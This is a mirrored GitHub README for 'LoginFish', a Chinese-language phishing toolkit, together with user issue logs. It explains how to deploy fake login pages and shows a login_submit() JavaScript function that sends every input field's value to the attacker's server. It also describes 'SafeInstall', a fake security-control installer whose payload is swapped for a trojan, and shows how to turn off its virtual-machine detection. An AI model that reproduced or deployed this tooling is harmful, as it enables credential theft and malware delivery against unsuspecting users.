Coder Social home page Coder Social logo

loginfish's Introduction

LoginFish 通用钓鱼工具

视频介绍

index admin admin2 admin3

使用方法

# 后台登录密码,请修改 password.txt 
# 第一次运行会自动生成密码 写到 password.txt
# 后台地址 http://host:5522/admin/login
# 默认端口5522 

./LoginFish port
./LoginFish 80

密码记录

可以参考/static/template/front_login_keylogger.html文件

所有input标签的内容都会被提交到后端,引用<script src="/static/dist/login.js"></script>并把登录按钮绑定到login_submit()函数即可

你也可以自定义login.js,并控制登录之后的返回信息

比如说点击登录之后执行alert('帐号/密码校验不通过')

function login_submit() {
    var input = document.getElementsByTagName('input')
    var data = ''
    for (var i = 0; i < input.length; i++) {
        const put = input[i]
        var name = ''
        if (put.className) name = '_' + put.className
        if (put.name) name = '_' + put.name
        var key = `input[${i}${name}]=${put.value}`;
        data = data + key + '&'
    }
    if (data != '') post(data)
    console.log(data)
}

模板修改

打开static/template/目录,默认有俩个模板,分别是front_login_1.htmlfront_login.html

如果需要cssjs文件则把其放在static/dist

模板中使用<script src="/static/dist/login.js"></script> 这样的路径进行引用

如果需要自定义模板,则在static/template/中创建以front_开头的html文件即可.

然后需要引用<script src="/static/dist/login.js"></script> 文件,再把某个下载按钮绑定到onclick_input事件即可

 <div onclick="onclick_input()">
        <label for="password">密码</label>
        <input name="password" class="password" type="password" disabled placeholder="下载安全控件" id="password">
 </div>

或者你也可以直接使用<a href='/down'>下载</a> 这样的方式去绑定下载地址.

SafeInstall 模拟安全控件

使用Visual Studio 2015.NET 4.0开发,替换木马需要修改资源文件中的load

如果需要关闭屏蔽虚拟机,则编辑SafeInstall/SafeInstall/Form1.cs文件

public Form1()
{
    checkVM(); //注释该行即可
    writeFile();
    InitializeComponent();
    progressBar1.Value = 0;
    timer1.Interval = 50;
    timer1.Start();
}

loginfish's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

loginfish's Issues

运行后 访问 500

[GIN] 2022/06/29 - 09:43:27 | 404 | 990ns | 116.238.91.126 | GET "/admin_index.html"

2022/06/29 09:43:46 /root/gotools/LoginFish-main/pkg/model/site.go:25 record not found
[0.408ms] [rows:0] SELECT * FROM sites WHERE Domain = "106.75.252.199" AND sites.deleted_at IS NULL ORDER BY sites.id LIMIT 1
[GIN] 2022/06/29 - 09:43:46 | 500 | 590.828µs | 116.238.91.126 | GET "/"
[GIN] 2022/06/29 - 09:45:49 | 404 | 1.5µs | 116.238.91.126 | GET "/login"

在路由admin/login登录后404

2023/02/16 11:21:48 123456 MocVhOQnNscJaDzs
[GIN] 2023/02/16 - 11:21:48 | 404 | 81.746µs | 14.107.1.55 | GET "/admin/"
[GIN] 2023/02/16 - 11:21:53 | 404 | 750ns | 14.107.1.55 | GET "/admin/index"
[GIN] 2023/02/16 - 11:21:53 | 404 | 553ns | 14.107.1.55 | GET "/admin/index"
2023/02/16 11:21:55 123456 MocVhOQnNscJaDzs
[GIN] 2023/02/16 - 11:21:55 | 404 | 116.628µs | 14.107.1.55 | GET "/admin/site"

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.